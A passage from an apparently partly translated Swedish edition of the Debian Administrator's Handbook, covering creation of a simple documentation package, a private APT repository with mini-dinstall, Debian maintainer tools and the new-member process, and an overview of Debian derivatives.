$ equivs-build file equivs-build control dpkg-buildpackage: info: source package libxml-libxml-perl dpkg-buildpackage: info: source version 2.0207-1 dpkg-buildpackage: info: source distribution unstable dpkg-buildpackage: info: source changed by Raphael Hertzog <hertzog@debian.org> dpkg-buildpackage: info: host architecture amd64 dpkg-source --before-build . debian/rules clean dh clean dh_clean debian/rules binary dh binary dh_update_autotools_config dh_autoreconf create-stamp debian/debhelper-build-stamp dh_prep dh_install dh_installdocs dh_installchangelogs dh_perl dh_link dh_strip_nondeterminism dh_compress dh_fixperms dh_missing dh_installdeb dh_gencontrol dh_md5sums dh_builddeb dpkg-deb: building package 'libxml-libxml-perl' in '../libxml-libxml-perl_2.0207-1_all.deb'. dpkg-genbuildinfo --build=binary dpkg-genchanges --build=binary >../libxml-libxml-perl_2.0207-1_amd64.changes dpkg-genchanges: info: binary-only upload (no source code included) dpkg-source --after-build . dpkg-buildpackage: info: binary-only upload (no source included) The package has been created. Attention, the package has been created in the current directory, not in ".." as indicated by the messaige above!

15.2.2. Simpelt filarkiv

The Falcot Corp administrators need to create a Debian package in order to ease deployment of a set of documents on a large number of machines. The administrator in charge of this task first reads the “New Maintainer's Guide”, then starts working on their first package.

→ https://www.debian.org/doc/manuals/maint-guide/

The first step is creating a falcot-data-1.0 directory to contain the target source package. The package will logically, be named falcot-data and bear the 1.0 version number. The administrator then places the document files in a data subdirectory. Then they invoke the dh_make command (from the dh-make package) to add files required by the package generation process, which will all be stored in a debian subdirectory:

$ cd falcot-data-1.0 $ dh_make --native Type of package: (single, indep, library, python) [s/i/l/p]? i Maintainer Name : Raphael Hertzog Email-Address : hertzog@debian.org Date : Sat, 26 Feb 2021 13:02:06 +0100 Package Name : falcot-data Version : 1.0 License : gpl3 Package Type : indep Are the details correct? [Y/n/q] Currently there is not top level Makefile. This may require additional tuning Done. Please edit the files in the debian/ subdirectory now. $

The selected type of package (indep) indicates that this source package will generate a single binary package that can be shared across all architectures (Architecture: all in debian/control). single acts as a counterpart, and leads to a single binary package that is dependent on the target architecture (Architecture: any). In this case, the former choice is more relevant since the package only contains documents and no binary programs, so it can be used similarly on computers of all architectures.

The library type corresponds to a source package leading to several binary packages. It is useful for shared libraries, since they need to follow strict packaging rules.

TIPS Underhållarens namn och e-postadress

Most of the programs involved in package maintenance will look for your name and email address in the DEBFULLNAME and DEBEMAIL or EMAIL environment variables. Defining them once and for all will avoid you having to type them multiple times. If your usual shell is bash, it is a simple matter of adding the following two lines in your ~/.bashrc file (you will obviously replace the values with more relevant ones!):

export EMAIL="hertzog@debian.org" export DEBFULLNAME="Raphael Hertzog"

The dh_make command created a debian subdirectory with many files. Some are required, in particular rules, control, changelog and copyright. Files with the .ex extension are example files that can be used by modifying them (and removing the extension) when appropriate. When they are not needed, removing them is recommended. The compat file is not used nor created anymore. Instead of defining the debhelper compatibility level as a number in this file, it is now defined as a build-dependency on the debhelper-compat virtual package in the Build-Depends file in debian/control.

The copyright file must contain information about the authors of the documents included in the package, and the related copyright and license. In our case, these are internal documents and their use is restricted to within the Falcot Corp company. The default format used for this file is defined in the Format field.

→ https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/

The default changelog file is generally appropriate; replacing the “Initial release” with a more verbose explanation and changing the distribution from UNRELEASED or unstable to the target release name is enough.

The control file must also be updated: the Section field can be changed to misc and the Homepage, Vcs-Git and Vcs-Browser fields were removed. The Depends fields was completed with firefox-esr | www-browser so as to ensure the availability of a web browser able to display the documents in the package. If the package does not require to run any commands as root (see VERKTYG fakeroot), the Rules-Requires-Root field can be left as is.

Exempel 15.3. control filen

Source: falcot-data Section: misc Priority: optional Maintainer: Raphael Hertzog <hertzog@debian.org> Build-Depends: debhelper-compat (= 13) Standards-Version: 4.5.1 Rules-Requires-Root: no Package: falcot-data Architecture: all Depends: firefox-esr | www-browser, ${misc:Depends} Description: Internal Falcot Corp Documentation This package provides several documents describing the internal structure at Falcot Corp. This includes: - organization diagram - contacts for each department. . These documents MUST NOT leave the company. Their use is INTERNAL ONLY.

Exempel 15.4. The changelog file

falcot-data (1.0) bullseye; urgency=low * Initial Release. * Let's start with few documents: - internal company structure; - contacts for each department. -- Raphael Hertzog <hertzog@debian.org> Sat, 26 Feb 2022 15:12:06 +0100

Exempel 15.5. copyright filen

Format: https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/ Upstream-Name: falcot-data Files: * Copyright: 2004-2021 Falcot Corp License: All rights reserved.

TILLBAKA TILL GRUNDEN Makefile fil

A Makefile file is a script used by the make program; it describes rules for how to build a set of files from each other in a tree of dependencies (for instance, a program can be built from a set of source files). The Makefile file describes these rules in the following format:

mål: källa1 källa2 ... kommando1 kommando2

The basic interpretation of such a rule is as follows: if one of the source* files is more recent than the target file, then the target needs to be generated, using command1 and command2.

Note that the command lines must start with a tab character; also note that when a command line starts with a dash character (-), failure of the command does not interrupt the whole process.

The rules file usually contains a set of rules used to configure, build and install the software in a dedicated subdirectory (named after the generated binary package). The contents of this subdirectory is then archived within the Debian package as if it were the root of the filesystem. In our case, files will be installed in the debian/falcot-data/usr/share/falcot-data/ subdirectory, so that installing the generated package will deploy the files under /usr/share/falcot-data/. The rules file is used as a Makefile, with a few standard targets (including clean and binary, used respectively to clean the source directory and generate the binary package).

Although this file is the heart of the process, it increasingly contains only the bare minimum for running a standard set of commands provided by the debhelper tool. Such is the case for files generated by dh_make. To install our files, we simply configure the behavior of the dh_install command by creating the following debian/falcot-data.install file:

data/* usr/share/falcot-data/

At this point, the package can be created. We will, however, add a lick of paint. Since the administrators want the documents to be easily accessed from the menus of graphical desktop environments, we add a falcot-data.desktop file and get it installed in /usr/share/applications by adding a second line to debian/falcot-data.install.

Exempel 15.6. falcot-data.desktop fil

[Desktop Entry] Name=Internal Falcot Corp Documentation Comment=Starts a browser to read the documentation Exec=x-www-browser /usr/share/falcot-data/index.html Terminal=false Type=Application Categories=Documentation;

The updated debian/falcot-data.install looks like this:

data/* usr/share/falcot-data/ falcot-data.desktop usr/share/applications/

Our source package is now ready. All that is left to do is to generate the binary package, with the same method we used previously for rebuilding packages: we run the dpkg-buildpackage -us -uc command from within the falcot-data-1.0 directory.

15.3. Skapa ett paketförråd för APT

Falcot Corp gradually started maintaining a number of Debian packages either locally modified from existing packages or created from scratch to distribute internal data and programs.

To make deployment easier, they want to integrate these packages in a package archive that can be directly used by APT. For obvious maintenance reasons, they wish to separate internal packages from locally-rebuilt packages. The goal is for the matching entries in a /etc/apt/sources.list.d/falcot.list file to be as follows:

deb http://packages.falcot.com/ updates/ deb http://packages.falcot.com/ internal/

The administrators therefore configure a virtual host on their internal HTTP server, with /srv/vhosts/packages/ as the root of the associated web space. The management of the archive itself is delegated to the mini-dinstall command (in the similarly-named package). This tool keeps an eye on an incoming/ directory (in our case, /srv/vhosts/packages/mini-dinstall/incoming/) and waits for new packages there; when a package is uploaded, it is installed into a Debian archive at /srv/vhosts/packages/. The mini-dinstall command reads the *.changes file created when the Debian package is generated. These files contain a list of all other files associated with the version of the package (*.deb, *.dsc, *.diff.gz/*.debian.tar.gz, *.orig.tar.gz, or their equivalents with other compression tools), and these allow mini-dinstall to know which files to install. *.changes files also contain the name of the target distribution (often unstable) mentioned in the latest debian/changelog entry, and mini-dinstall uses this information to decide where the package should be installed. This is why administrators must always change this field before building a package, and set it to internal or updates, depending on the target location. mini-dinstall then generates the files required by APT, such as Packages.gz.

ALTERNATIVE apt-ftparchive, aptly, and reprepro

If mini-dinstall seems too complex for your Debian archive needs, you can also use the apt-ftparchive command. This tool scans the contents of a directory and displays (on its standard output) a matching Packages file. In the Falcot Corp case, administrators could upload the packages directly into /srv/vhosts/packages/updates/ or /srv/vhosts/packages/internal/, then run the following commands to create the Packages.gz files:

$ cd /srv/vhosts/packages $ apt-ftparchive packages updates >updates/Packages $ gzip updates/Packages $ apt-ftparchive packages internal >internal/Packages $ gzip internal/Packages

Kommandot apt-ftparchive sources gör det möjligt att skapa Sources.gz-filer på ett liknande sätt.

reprepro and aptly are more advanced tools for the same purpose. They can produce, manage and synchronize a number of package repositories, mirror other repositories, even cherry-pick packages from official repositories and provide them locally, create signatures of the generated package indices and thus provide signed repositories. reprepro stores packages and checksums in a Berkeley DB database file, so no database server is needed. aptly provides the same functionality, but it can be easier in handling. Unfortunately, both projects, although probably the most feature-rich solutions, are not actively developed at the moment.

reprepro comes with a lot of documentation and examples in /usr/share/doc/reprepro/, while aptly has a vast online documentation.

→ https://www.aptly.info/

Configuring mini-dinstall requires setting up a ~/.mini-dinstall.conf file; in the Falcot Corp case, the contents are as follows:

[DEFAULT] archive_style = flat archivedir = /srv/vhosts/packages verify_sigs = 0 mail_to = admin@falcot.com generate_release = 1 release_origin = Falcot Corp release_codename = stable [updates] release_label = Recompiled Debian Packages [internal] release_label = Internal Packages

One decision worth noting is the generation of Release files for each archive. This can help manage package installation priorities using the /etc/apt/preferences configuration file (see Avsnitt 6.2.5, ”Hantera paketprioriteringar” for details).

SÄKERHET mini-dinstall och behörigheter

Since mini-dinstall has been designed to run as a regular user, there is no need to run it as root. The easiest way is to configure everything within the user account belonging to the administrator in charge of creating the Debian packages. Since only this administrator has the required permissions to put files in the incoming/ directory, we can deduce that the administrator authenticated the origin of each package prior to deployment and mini-dinstall does not need to do it again. This explains the verify_sigs = 0 parameter (which means that signatures need not be verified). However, if the contents of packages are sensitive, we can reverse the setting and elect to authenticate with a keyring containing the public keys of persons allowed to create packages (configured with the extra_keyrings parameter); mini-dinstall will then check the origin of each incoming package by analyzing the signature integrated to the *.changes file.

Invoking mini-dinstall actually starts a daemon in the background. As long as this daemon runs, it will check for new packages in the incoming/ directory every half-hour; when a new package arrives, it will be moved to the archive and the appropriate Packages.gz and Sources.gz files will be regenerated. If running a daemon is a problem, mini-dinstall can also be manually invoked in batch mode (with the -b option) every time a package is uploaded into the incoming/ directory. Other possibilities provided by mini-dinstall are documented in its mini-dinstall(1) manual page.

EXTRA Generera ett signerat arkiv

The APT suite checks a chain of cryptographic signatures on the packages it handles before installing them, in order to ensure their authenticity (see Avsnitt 6.6, ”Kontrollerar paketets äkthet”). Private APT archives can then be a problem, since the machines using them will keep displaying warnings about unsigned packages. A diligent administrator will therefore integrate private archives with the secure APT mechanism.

To help with this process, mini-dinstall includes a release_signscript configuration option that allows specifying a script to use for generating the signature. A good starting point is the sign-release.sh script provided by the mini-dinstall package in /usr/share/doc/mini-dinstall/examples/; local changes may be relevant.

15.4. Att bli paketansvarig

15.4.1. Lär dig att göra paket

Creating a quality Debian package is not always a simple task, and becoming a package maintainer takes some learning, both with theory and practice in technical and legal matters. It is not a simple matter of building and installing software; rather, the bulk of the complexity comes from understanding the problems and conflicts, and more generally the interactions, with the myriad of other packages available.

15.4.1.1. Regler

A Debian package must comply with the precise rules compiled in the Debian policy, and each package maintainer must know them. There is no requirement to know them by heart, but rather to know they exist and to refer to them whenever a choice presents a non-trivial alternative. Every Debian maintainer has made mistakes by not knowing about a rule, but this is not a huge problem as long as the error gets fixed when a user reports it as a bug report (which tends to happen fairly soon thanks to advanced users). The Standards-Version field in debian/control specifies the version of the Debian policy with which a package complies. Maintainers should comply to the latest version of the Debian policy.

→ https://www.debian.org/doc/debian-policy/

15.4.1.2. Procedurer

Debian is not a simple collection of individual packages. Everyone's packaging work is part of a collective project; being a Debian developer involves knowing how the Debian project operates as a whole. Every developer will, sooner or later, interact with others. The Debian Developer's Reference (in the developers-reference package) summarizes what every developer must know in order to interact as smoothly as possible with the various teams within the project, and to take the best possible advantages of the available resources. This document also enumerates a number of duties a developer is expected to fulfill.

→ https://www.debian.org/doc/manuals/developers-reference/

15.4.1.3. Verktyg

Many tools help package maintainers in their work. This section describes them quickly, but does not give the full details, since they all have comprehensive documentation of their own.

15.4.1.3.1. devscripts

The devscripts package contains many programs helping with a wide array of a Debian developer's job:

debuild allows generating a package (with dpkg-buildpackage) and running lintian to check its compliance with the Debian policy afterwards.

debclean rensar ett källpaket efter att ett binärt paket har genererats.

dch allows quick and easy editing of a debian/changelog file in a source package.

uscan checks whether a new version of a software has been released by the upstream author; this requires a debian/watch file with a description of the location of such releases.

debi allows installing (with dpkg -i) the Debian package that was just generated without the need to type its full name and path.

In a similar fashion, debc allows scanning the contents of the recently-generated package (with dpkg -c), without needing to type its full name and path.

bts controls the bug tracking system from the command line; this program automatically generates the appropriate emails.

→ https://www.debian.org/Bugs/server-refcard

debrelease uploads a recently-generated package to a remote server, without needing to type the full name and path of the related .changes file.

debsign signerar *.dsc och *.changes filerna.

uupdate automates the creation of a new revision of a package when a new upstream version has been released.

All of the mentioned commands are documented in their respective manual pages. They can further be configured per user in one file: ~/.devscripts.

15.4.1.3.2. debhelper och dh-make

Debhelper is a set of scripts easing the creation of policy-compliant packages; these scripts are invoked from debian/rules. Debhelper has been widely adopted within Debian, as evidenced by the fact that it is used by the majority of official Debian packages. All the commands it contains have a dh_ prefix. Each of them is documented in a manual page. The different compatibility levels and common options are described in debhelper(7).

The dh_make script (in the dh-make package) creates files required for generating a Debian package in a directory initially containing the sources for a piece of software. As can be guessed from the name of the program, the generated files use debhelper by default.

15.4.1.3.3. lintian

This tool is one of the most important: it is the Debian package checker. It is based on a large array of tests created from the Debian policy, and detects quickly and automatically many errors that can then be fixed before packages are released.

This tool is only a helper, and it sometimes gets it wrong (for instance, since the Debian policy changes over time, lintian is sometimes outdated). It is also not exhaustive: not getting any Lintian error should not be interpreted as a proof that the package is perfect; at most, it avoids the most common errors.

15.4.1.3.4. piuparts

This is another important tool: it automates the installation, upgrade, removal and purge of a package (in an isolated environment), and checks that none of these operations leads to an error. It can help in detecting missing dependencies, and it also detects when files are incorrectly left over after the package got purged.

15.4.1.3.5. autopkgtest

autopkgtest runs tests on binary packages, using the tests supplied in the source package in debian/tests/. Several commands allow the easy creation of chrooted or virtual test environments.

15.4.1.3.6. reprotest

reprotest builds the same source code twice in different environments, and then checks the binaries produced by each build for differences. If any are found, then diffoscope (if unavailable, diff) is used to display them in detail for later analysis.

15.4.1.3.7. dupload och dput

The dupload and dput commands allow uploading a Debian package to a (possibly remote) server. This allows developers to publish their package on the main Debian server (ftp-master.debian.org) so that it can be integrated to the archive and distributed by mirrors. These commands take a .changes file as a parameter, and deduce the other relevant files from its contents.

15.4.1.3.8. git-buildpackage and dgit

The project has been using various version control systems over the years to store packaging efforts or package source code, or allow collaborative package maintenance. In an effort to unify the systems and efforts, it was ultimately decided in 2017 to move (almost) all package sources into Git (KULTUR Git) onto a Gitlab instance called salsa.debian.org.

→ https://salsa.debian.org/

To make packaging using Git easier for Debian developers, tools have been developed. These allow not only to store the packaging files in Git, but also to use the Git repositories (and their history) of software projects, put patches applied to package sources into Git history, maintain software versions per distribution, etc.

One of the most famous packages is git-buildpackage. An alternative is dgit. Of course it is still possible to use neither of those.

Below is an example for a ~/.gbp.conf configuration file

[DEFAULT] builder = sbuild -d bullseye --build-dep-resolver=aptitude -s --source-only-changes --build-failed-commands "%SBUILD_SHELL" pristine-tar = true [buildpackage] sign-tags = true keyid = XXXX postbuild = autopkgtest --user debci --apt-upgrade -s "$GBP_CHANGES_FILE" -- lxc --sudo autopkgtest-bullseye-amd64 export-dir = /tmp/build-area/ notify = off [import-orig] filter-pristine-tar = true sign-tags = true [pq] drop = true

Building the package is then as easy as running gbp buildpackage in the Git tree. It will start a package build in a Debian Bullseye chroot using sbuild. When the build succeeds, the created files are checked running the autopkgtest-testsuite (if defined). All the various options are explained in gbp.conf(5) and /etc/git-buildpackage/gbp.conf.

All the tools mentioned so far have been included in the continuous integration (CI) process in the salsa.debian.org instance as well:

→ https://salsa.debian.org/salsa-ci-team/pipeline

15.4.2. Godkännandeprocess

Becoming a “Debian developer” is not a simple administrative matter. The process comprises several steps, and is as much an initiation as it is a selection process. In any case, it is formalized and well-documented, so anyone can track their progression on the website dedicated to the new member process.

→ https://nm.debian.org/

EXTRA Lightweight process for “Debian Maintainers”

“Debian Maintainer” is another status that gives less privileges than “Debian developer” but whose associated process is quicker. With this status, the contributors can maintain their own packages only. A Debian developer only needs to perform a check on an initial upload, and issue a statement to the effect that they trust the prospective maintainer with the ability to maintain the package on their own.

15.4.2.1. Prerequisites

All candidates are expected to have at least a working knowledge of the English language. This is required at all levels: for the initial communications with the examiner, of course, but also later, since English is the preferred language for most of the documentation; also, package users will be communicating in English when reporting bugs, and they will expect replies in English.

The other prerequisite deals with motivation. Becoming a Debian developer is a process that only makes sense if the candidate knows that their interest in Debian will last for many months. The acceptance process itself may last for several months, and Debian needs developers for the long haul; each package needs permanent maintenance, and not just an initial upload.

15.4.2.2. Registrering

The first (real) step consists in finding a sponsor or advocate; this means an official developer willing to state that they believe that accepting X would be a good thing for Debian. This usually implies that the candidate has already been active within the community, and that their work has been appreciated. If the candidate is shy and their work is not publicly touted, they can try to convince a Debian developer to advocate them by showing their work in a private way.

At the same time, the candidate must generate a public/private RSA key pair with GnuPG, which should be signed by at least two official Debian developers. The signature authenticates the name on the key. Effectively, during a key signing party, each participant must show an official identification (usually an ID card or passport) together with their key identifiers. This step confirms the link between the human and the keys. This signature thus requires meeting in real life. If you have not yet met any Debian developers in a public free software conference, you can explicitly seek developers living nearby using the list on the following webpage as a starting point.

→ https://wiki.debian.org/Keysigning

Once the registration on nm.debian.org has been validated by the advocate, an Application Manager is assigned to the candidate. The application manager will then drive the process through multiple pre-defined steps and checks.

The first verification is an identity check. If you already have a key signed by two Debian developers, this step is easy; otherwise, the application manager will try and guide you in your search for Debian developers close by to organize a meet-up and a key signing.

15.4.2.3. Godkännande av principerna

These administrative formalities are followed by philosophical considerations. The point is to make sure that the candidate understands and accepts the social contract and the principles behind Free Software. Joining Debian is only possible if one shares the values that unite the current developers, as expressed in the founding texts (and summarized in Kapitel 1, Debian-projektet).

In addition, each candidate wishing to join the Debian ranks is expected to know the workings of the project, and how to interact appropriately to solve the problems they will doubtless encounter as time passes. All of this information is generally documented in manuals targeting the new maintainers, and in the Debian developer's reference. An attentive reading of this document should be enough to answer the examiner's questions. If the answers are not satisfactory, the candidate will be informed. They will then have to read (again) the relevant documentation before trying again. In the cases where the existing documentation does not contain the appropriate answer for the question, the candidate can usually reach an answer with some practical experience within Debian, or potentially by discussing with other Debian developers. This mechanism ensures that candidates get involved somewhat in Debian before becoming a full part of it. It is a deliberate policy, by which candidates who eventually join the project are integrated as another piece of an infinitely extensible jigsaw puzzle.

This step is usually known as the Philosophy & Procedures (P&P for short) in the lingo of the developers involved in the new member process.

15.4.2.4. Kontroll av färdigheter

Each application to become an official Debian developer must be justified. Becoming a project member requires showing that this status is legitimate, and that it facilitates the candidate's job in helping Debian. The most common justification is that being granted Debian developer status eases maintenance of a Debian package, but it is not the only one. Some developers join the project to contribute to porting to a specific architecture, others want to improve documentation, and so on.

This step represents the opportunity for the candidate to state what they intend to do within the Debian project and to show what they have already done towards that end. Debian is a pragmatic project and saying something is not enough, if the actions do not match what is announced. Generally, when the intended role within the project is related to package maintenance, a first version of the prospective package will have to be validated technically and uploaded to the Debian servers by a sponsor among the existing Debian developers.

GEMENSKAP Sponsring

Debian developers can “sponsor” packages prepared by someone else, meaning that they publish them in the official Debian repositories after having performed a careful review. This mechanism enables external persons, who have not yet gone through the new member process, to contribute occasionally to the project. At the same time, it ensures that all packages included in Debian have always been checked by an official member.

Finally, the examiner checks the candidate's technical (packaging) skills with a detailed questionnaire. Bad answers are not permitted, but the answer time is not limited. All the documentation is available and several attempts are allowed if the first answers are not satisfactory. This step does not intend to discriminate, but to ensure at least a modicum of knowledge common to new contributors.

This step is known as the Tasks & Skills step (T&S for short) in the examiners' jargon.

15.4.2.5. Slutgiltigt godkännande

At the very last step, the whole process is reviewed by a DAM (Debian Account Manager). The DAM will review all the information about the candidate that the examiner collected, and makes the decision on whether or not to create an account on the Debian servers. In cases where extra information is required, the account creation may be delayed. Refusals are rather rare if the examiner does a good job of following the process, but they sometimes happen. They are never permanent, and the candidate is free to try again at a later time.

The DAM's decision is authoritative and (almost) without appeal, which explains why the people in that seat have often been criticized in the past.

Kapitel 16. Slutsats: Debians framtid

Historien om Falcot Corp tar slut med detta sista kapitel, men Debian lever vidare, och framtiden kommer säkerligen medföra många spännande överraskningar.

16.1. Kommande utveckling

Now that Debian version 11 is out, the developers are already busy working on the next version, codenamed Bookworm…

There is no official list of all planned changes, and Debian never makes promises relating to technical goals of the coming versions. However, a few development trends and discussion topics can already be noted, and we can try to guess what might happen (or not). Some of the expected changes are documented in the Debian 11 release notes:

→ https://www.debian.org/releases/bullseye/amd64/release-notes/ch-information.en.html#deprecated-components

Beyond usual deprecation of some software components, it is worth pointing out that Debian is in the process of switching to what is known as a merged-usr filesystem: in this scheme /bin, /sbin and /lib are symlinks pointing to the corresponding directories in /usr. This improves compatibility between all Unix systems, makes us closer of having all Debian-supplied files in a single top-level directory that can be easily protected, snapshotted or shared. You can learn more about the benefits here:

→ https://www.freedesktop.org/wiki/Software/systemd/TheCaseForTheUsrMerge/

This important change is not without creating issues: dpkg will have to learn about those aliased directories, but the dpkg maintainer doesn't like the technical solution deployed by Debian and hasn't yet made the required changes. The Debian technical committee's help has been requested multiple times already. Their last decision can be found here:

→ https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=994388#110

apt-key will become obsolete. The key management for third party repositories should only rely on keys found in /etc/apt/trusted.gpg.d or configured via Signed-By as described in Avsnitt 6.6, ”Kontrollerar paketets äkthet”.

For some tasks the default software solution will change. As an example: plocate might be a faster and smaller replacement for mlocate. systemd will continue to add new features that help to standardize the boot process and system management, allowing us to get rid of some other software in the base system.

Of course all the main software suites will have a major release. The latest version of the various desktops will bring better usability and new features.

The default permission of home directories will be more restrictive, allowing only the user to access their files.

Developments which already began will continue: Improve build reproducibility and security for example. With the widespread use of continuous integration and the growth of the archive (and of the biggest packages!), the constraints on release architectures will be harder to meet and architectures will be dropped.

16.2. Debians framtid

Utöver denna interna utveckling är det rimligt att förvänta sig att nya Debian-baserade distributioner kommer att se dagens ljus, då många verktyg fortsätter att göra denna uppgift blir enklare. Nya specialiserade underprojekt kommer också att startas, för att kunna bredda Debian så att det når nya horisonter.

Debians användargemenskap kommer att bli större, och nya bidragsgivare kommer att ansluta sig till projektet… kanske även innefattande dig!

There are recurring discussions about how the software ecosystem is evolving, towards applications shipped within containers, where Debian packages have no added value, or with language-specific package managers (e.g. pip for Python, npm for JavaScript, etc.), which are rendering dpkg and apt obsolete. Facing those threats, I am convinced that Debian developers will find ways to embrace those changes and to continue to provide value to users.

Trots sin höga ålder och sin respektingivande storlek fortsätter Debian att växa i alla sorters (ibland oväntade) riktningar. Bidragsgivare har ett överflöd av idéer, och diskussioner på sändlistor för utveckling bidrar, även då de verkar vara småkäbbel, till att föra dessa framåt. Debian liknas ibland med ett svart hål, vilket har sådan massa att det attraherar alla nya projekt inom fri programvara.

Beyond the apparent satisfaction of most Debian users, a deep trend is becoming more and more indisputable: people (and companies!) are increasingly realizing that collaborating, rather than working alone in their corner, leads to better results for everyone. The number of commercial companies relying on Debian is larger every year.

Debian-projektet är alltså inte hotat av undergång…

16.3. Framtiden för denna bok

We would like this book to evolve in the spirit of free software. We therefore welcome contributions, remarks, suggestions, and criticism. Please direct them to Raphaël (<hertzog@debian.org>) or Roland (<lolando@debian.org>). For actionable feedback, feel free to open bug reports against the debian-handbook Debian package. The website will be used to gather all information relevant to its evolution, and you will find there information on how to contribute, in particular if you want to translate this book to make it available to an even larger public than today.

→ https://debian-handbook.info/

→ https://bugs.debian.org/src:debian-handbook

Vi har försökt införliva det mesta som vår erfarenhet med Debian har lärt oss, så att alla ska kunna använda denna distribution och utnyttja den på bästa sätt så snabbt som möjligt. Vi hoppas att denna bok bidrar till att göra Debian mindre förvirrande och mer populärt, och vi välkomnar publicitet kring den!

We would like to conclude on a personal note. Writing (and translating) this book took a considerable amount of time out of our usual professional activity. Since we are both freelance consultants, any new source of income grants us the freedom to spend more time improving Debian; we hope this book to be successful and to contribute to this. In the meantime, feel free to retain our services!

→ https://www.freexian.com

→ https://www.gnurandal.com

Vi ses snart!

Appendix A. Distributionsderivat

Many Linux distributions are derivatives of Debian and reuse Debian's package management tools. They all have their own interesting properties, and it is possible one of them will fulfill your needs better than Debian itself.

A.1. Räkning och samarbete

Debian-projektet erkänner till fullo vikten av distributionsderivat och stöder aktivt samarbete mellan alla inblandade parter. Detta inbegriper vanligtvis att föra tillbaka förbättringar som inledningsvis utvecklas av derivatdistributioner så att alla kan dra nytta av dem och att arbetet med långtidsunderhåll reduceras.

Detta förklarar varför derivatdistributioner bjuds in till diskussion på sändlistan debian-derivatives@lists.debian.org och att delta i derivaträkningen. Denna derivaträkning syftar till att sammanställa information om arbete som händer i ett derivat så att officiella Debian-ansvariga bättre kan spåra tillståndet för deras paket i Debian-varianter.

→ https://wiki.debian.org/DerivativesFrontDesk

→ https://wiki.debian.org/Derivatives/Census

Låt oss nu kort beskriva de mest intressanta och populära derivatdistributionerna.

A.2. Ubuntu

Ubuntu made quite a splash when it came on the free software scene, and for good reason: Canonical Ltd., the company that created this distribution, started by hiring thirty-odd Debian developers and publicly stating the far-reaching objective of providing a distribution for the general public with a new release twice a year. They also committed to maintaining each version for a year and a half.

Dessa mål medför nödvändigtvis en minskning av omfattningen; Ubuntu fokuserar på ett mindre antal paket än Debian och förlitar sig primärt på GNOME-skrivbordet (även om det finns Ubuntu-derivat, som kommer med dom flesta skrivbordsmiljöer). Allting är internationaliserat och görs tillgängligt på många språk.

So far, Ubuntu has managed to keep this release rhythm. They also publish Long Term Support (LTS) releases, with a 5-year maintenance promise. As of April 2021, the current LTS version is version 20.04, nicknamed Focal Fossa. The last non-LTS version is version 21.04, nicknamed Hirsute Hippo. Version numbers describe the release date: 21.04, for example, was released in April 2021.

I PRAKTIKEN Ubuntus stöd- och underhållslöfte

Canonical har flera gånger justerat reglerna som styr längden för perioden under viken en given version underhålls. Canonical lovar som företag att tillhandahålla säkerhetsuppdateringar för all programvara i main och restricted-sektionerna av Ubuntu-arkivet, under 5 år för LTS-versioner och under 9 månader för icke-LTS-versioner. Allting annat (som finns i sektionerna universe och multiverse) underhålls efter bästa förmåga av frivilliga i MOTU-gruppen (Masters of The Universe (Universums mästare)). Förbered dig på att hantera säkerhetsunderhåll själv om du förlitar dig på paket från de senare sektionerna.

Ubuntu har nått en bred publik bland allmänheten. Miljoner användare imponerades av hur lätt det var att installera och arbetet som gjorts för att få skrivbordet enklare att använda.

Ubuntu och Debian brukade ha en ansträngd relation; Debian-utvecklare som satt stor förhoppning till att Ubuntu skulle bidra direkt till Debian blev besvikna på skillnaden mellan Canonicals marknadsföring, vilken antydde att de var goda medborgare i världen för Fri Programvara, och att de i praktiken helt enkelt bara gjorde ändringar de applicerat på Debian-paket publikt tillgängliga. Saker har förbättrats över åren och Ubuntu har nu gjort det till allmän praxis att skicka vidare programfixar till den mest lämpliga mottagaren (även om detta bara gäller för extern programvara som de paketerar och inte för Ubuntu-specifik programvara så som Mir eller Unity).

→ https://www.ubuntu.com/

A.3. Linux Mint

Linux Mint is a (partly) community-maintained distribution, supported by donations and advertisements. Their flagship product is based on Ubuntu, but they also provide a “Linux Mint Debian Edition” (LMDE), which is based on Debian Stable with a few backports. LMDE is available for both 32 and 64-bit.

In both cases, the initial installation involves booting a live DVD or a live USB storage device.

Distributionen ämnar att förenkla åtkomsten till avancerade funktioner och tillhandahåller specifika grafiska användargränssnitt ovanpå den vanliga programvaran. Linux Mint förlitar sig som standard till exempel på Cinnamon istället för GNOME (men inkluderar också MATE så väl som Xfce); på samma sätt tillhandahåller gränssnittet för pakethanteringssystemet, om än det är baserat på APT, en specifikt gränssnitt med en utvärdering av risken vid varje paketuppdatering.

Linux Mint inkluderar en stor mängd proprietär programvara för att förbättra upplevelsen för användare som kan komma att behöva dem. Till exempel Adobe Flash och multimedia-kodekar.

→ https://www.linuxmint.com/

A.4. Knoppix

The Knoppix distribution barely needs an introduction. It was the first popular distribution to provide a live CD; in other words, a bootable CD-ROM that runs a turn-key Linux system with no requirement for a hard-disk — any system already installed on the machine will be left untouched. Automatic detection of available devices allows this distribution to work in most hardware configurations. The CD-ROM includes almost 1 GB of (compressed) software, and the DVD-ROM version has around 4.5 GB.

Att kombinera denna CD-ROM med en USB-sticka låter dig bära filer med dig och att arbeta på vilken dator som helst utan att lämna ett spår — kom ihåg att distributionen inte använder hårddisken alls. Knoppix använder som standard LXDE (ett lättviktigt grafiskt skrivbord), men DVD-versionen inkluderar också GNOME och Plasma. Många andra distributioner tillhandahåller andra kombinationer av skrivbord och programvara. Detta möjliggörs, till viss del, tack vare Debian-paketet live-build som gör det relativt enkelt att skapa en liveCD.

→ https://live.debian.net-team.pages.debian.net/live-manual/

Note that Knoppix also provides an installer: you can first try the distribution as a live CD, then install it on a hard-disk to get better performance.

→ https://www.knopper.net/knoppix/

A.5. Aptosid och Siduction

These community-based distributions track the changes in Debian Sid (Unstable) — hence their name. The modifications are limited in scope: the goal is to provide the most recent software and to update drivers for the most recent hardware, while still allowing users to switch back to the official Debian distribution at any time. Aptosid was previously known as Sidux, and Siduction is a more recent fork of Aptosid.

→ http://aptosid.com

→ https://siduction.org

A.6. Grml

Grml is a live CD with many tools for system administrators, dealing with installation, deployment, and system rescue. The live CD is provided in two flavors, full and small, both available for 32-bit and 64-bit PCs. Obviously, the two flavors differ by the amount of software included and by the resulting size.

→ https://grml.org

A.7. Tails

Tails OS (The Amnesic Incognito Live System) aims at providing a live system that preserves anonymity and privacy. It takes great care in not leaving any trace on the computer it runs on, and uses the Tor network to connect to the Internet in the most anonymous way possible.

→ https://tails.boum.org

A.8. Kali Linux

Kali Linux is a Debian-based distribution specializing in penetration testing (“pentesting” for short). It provides software that helps auditing the security of an existing network or computer while it is live, and analyze it after an attack (which is known as “computer forensics”).

